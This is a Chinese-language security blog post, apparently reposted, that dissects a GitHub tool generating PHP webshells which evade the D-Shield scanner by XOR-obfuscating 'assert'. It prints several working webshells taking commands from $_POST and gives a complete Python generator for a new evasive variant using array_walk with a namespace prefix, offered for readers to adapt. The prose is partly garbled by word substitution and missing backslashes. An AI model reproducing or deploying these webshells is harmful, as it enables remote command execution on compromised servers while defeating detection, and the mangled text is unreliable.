项目剖析
随机异或无限免杀D盾项目剖析
首先剖析随机异或无限免杀D盾的github项目:https://github.com/yzddmr6/webshell-venom

1,首先剖析其天生的木马样例:(当前已经不免杀)
<?phpclass PXGF{ function __destruct(){ $RAFH='slvfo'^"x12x1fx5x3x58x1b"; return @$RAFH("$this->WSXP"); }}$pxgf=new PXGF();@$pxgf->WSXP=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>
此木马中$RAFH的值是由两串'slvfo'^"x12x1fx5x3x58x1b";字符异或得到的,此异或结果为assert。即$RAFH=assert,个中return @$RAFH("$this->WSXP");即为:$pxgf->WSXP是即是$this->WSXP,给$pxgf->WSXP如下赋值时,也便是给$this->WSXP如下赋值。即结果为:
return $RAFH("isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']");
而RAFH又即是assert,即末了结果为:即一句话木马
return assert("isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']");
这个利用随机异或无限免杀D盾的核心实在便是这个点了,至于异或个人认为也是很奥妙的,下面剖析其利用随机异或天生payload的代码:
其天生的shellcode的模型如下:(当前免杀失落效的紧张缘故原由个人认为还是此模型被杀了)
shell_form ='''<?phpclass {class_name}{{ function __destruct(){{ ${var_name1}={func1}; return @${var_name1}("$this->{var_name2}"); }}}}${objname}=new {class_name}();@${objname}->{var_name2}=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>'''
实在参考我对上述对木马样例剖析,就很随意马虎理解这个木马模型了,{class_name}、{var_name1}、{var_name2}、{objname}都是利用python代码随机天生的名称,随便写即可。下面须要解释的是{func1}值的天生。实在利用yzddmr6表哥的python天生的所有的不同点都在这{class_name}、{var_name1}、{var_name2}、{objname}、{func1}五个点,除了上述阐明的模型是核心之外,便是这个{func1}了。
{func1}的天生过程如下:
首先查看gen_webshell()函数,即webshell天生函数:
def gen_webshell(): class_name = random_name(4) objname = class_name.lower() webshell=shell_form.format(class_name=class_name,func_name=random_name(4),objname=objname,var_name1=random_name(4),var_name2=random_name(4),func1=gen_payload(func1)) print(webshell)
我们可以很清楚的看到倒数第二行中有func1=gen_payload(func1)即func1是由gen_payload函数天生的,查看了整体代码得知个中gen_payload函数中的参数func1的值为assert,我连续查看gen_payload函数如下:
def gen_payload(func): func_line1 = '' func_line2 = '' key = random_keys(len(func)) for i in range(0,len(func)): enc = xor(func[i],key[i]) func_line1 += key[i] func_line2 += enc payload = ''{0}'^"{1}"'.format(func_line1,func_line2) return payload
这个函数中又包含了两个小函数random_keys()和xor(),那么我就先剖析这两个小函数吧:
random_keys函数:
def random_keys(len): str = '`~-=!@#$%^&_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' return ''.join(random.sample(str,len))
randomkey函数是天生一个长度为len的随机字符串,字符串中的字符都取自str变量中,即取自“~-=!@#$%^&/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`
xor函数:
def xor(c1,c2): return hex(ord(c1)^ord(c2)).replace('0x',r"x")
将字符c1和字符c2转换成ascii码后进行异或运算,再利用hex函数转换为十六进制,同时个中将0x转换成x
好了,下面连续剖析gen_payload函数:func是传入gen_payload(func)函数的参数,此处该当是assert,即一个命令实行的函数。然后打算出assert的长度,然后利用random_keys函数从字符串str中随机取出5个字符:赋值给key
key = random_keys(len(func))
利用for循环分别将func和key字符串中的字符逐一取出,分别进行异或运算后,然后连接成了func_line2字符串,而将key字符串赋值给了func_line1字符串。
for i in range(0,len(func)): enc = xor(func[i],key[i]) func_line1 += key[i] func_line2 += enc
末了就得到了payload:即字符串func_line2和字符串func_line1异或。而func_line2和字符串func_line1异或的结果该当是即是func的。缘故原由如下:假设a^b=c,那么a=c^b,即异或是可逆的。此循环将func和key异或的值存放到了func_line2中,将key赋值给了func_line,即此处key=func_line1。终极结果等价于func^func_line1=func_line2,而return的结果是func_line2^func_line1,即末了return的几个依旧是func,即一个命令实行函数assert。只是为了避开d盾的查杀换了一种办法。
payload = ''{0}'^"{1}"'.format(func_line1,func_line2)
到这里就剖析完成了,即shellcode的模型中的{func1}的值是利用随机异或天生函数gen_payload天生的,例如:
'rG!q-X'^"x13x34x52x14x5fx2c"
上诉字符串看似缭乱,但是其异或的结果依旧是assert。
综上所述:随机异或无限免杀D盾项目的核心点有两个:
1,此木马天生模板本身具备免杀性
2,利用随机异或隐蔽了assert,eval等D盾敏感的命令实行函数。
免杀马再免杀
根据上述特点我们也可以通过这两点思路来布局免杀马:
1,使得木马模板具备免杀性
2,隐蔽assert,eval等D盾敏感的关键字
我就随便选择一种:利用回调函数布局的免杀马:
例如随便选择一个回调函数array_walk()即可布局如下木马:
<?phpfunction v01cano($aaa, $bbb){ $ccc=$bbb; array_walk($aaa, $ccc);}$ddd = 'rG!q-X'^"x13x34x52x14x5fx2c";v01cano(array($_POST['e']), $ddd);?>
D盾报出了可能是木马级别是二级,缘故原由是识别了array_walk函数。
接下来我们在array_walk前面加上命名空间即可轻松绕过D盾:
<?phpfunction v01cano($aaa, $bbb){ $ccc=$bbb; array_walk($aaa, $ccc);}$ddd = 'rG!q-X'^"x13x34x52x14x5fx2c";v01cano(array($_POST['e']), $ddd);?>
那么接下来就可以参考yzddmr6表哥的方法利用我们新的免杀马模板来随机异或无限免杀D盾,只需修正yzddmr6表哥的免杀马模板部分即可。
即参考如上免杀马,修正模板为如下:
<?phpfunction {func_name}(${var_name1}, ${var_name2}){{ ${var_name3}=${var_name2}; \array_walk(${var_name1}, ${var_name3});}}${var_name4} = {func1};{func_name}(array($_POST['e']), ${var_name4});?>
终极代码如下:
import random# 命令实行函数func1 = 'assert'# 每次天生一个不同的变量(函数)名,长度为lendef random_name(len): str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' return ''.join(random.sample(str,len))# 每次返回一个len长度的字符串(里面包含分外字符,用于异或免杀)def random_keys(len): str = '`~-=!@#$%^&_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' a = random.sample(str, len) return ''.join(a)# 将字符c1和字符c2进行异或运算,同时将0x转换成xdef xor(c1,c2): c = hex(ord(c1)^ord(c2)) return c.replace('0x',r"x")# payload天生函数def gen_payload(func): func_line1 = '' func_line2 = '' key = random_keys(len(func)) for i in range(0,len(func)): enc = xor(func[i],key[i]) func_line1 += key[i] func_line2 += enc payload = ''{0}'^"{1}"'.format(func_line1,func_line2) return payloadshell_form='''<?phpfunction {func_name}(${var_name1}, ${var_name2}){{ ${var_name3}=${var_name2}; \array_walk(${var_name1}, ${var_name3});}}${var_name4} = {func1};{func_name}(array($_POST['e']), ${var_name4});?>'''def gen_webshell(): webshell=shell_form.format(func_name=random_name(4), var_name1=random_name(4), var_name2=random_name(4), var_name3=random_name(4), var_name4=random_name(4), func1=gen_payload(func1)) print(webshell)gen_webshell()
于是我们也就可以再次实现随机异或无限免杀D盾。
末了运行上诉python代码即可随机天生免杀马:
这样就又达到了免杀的效果。
实在个人认为此项目的核心便是我上诉所说的两点:
1,此木马天生模板本身具备免杀性
2,利用随机异或隐蔽了assert,eval等D盾敏感的命令实行函数。
模板免杀该当是重中之重,各位表哥们也可以根据自己的须要大略修正即可。
关于免杀马的布局方法太多了,我就直接附上404表哥文章给大家参考:
https://xz.aliyun.com/t/5152
然后便是yzddmr6表哥的项目地址:思路很骚。
https://github.com/yzddmr6/webshell-venom
原文链接:https://www.anquanke.com/post/id/193042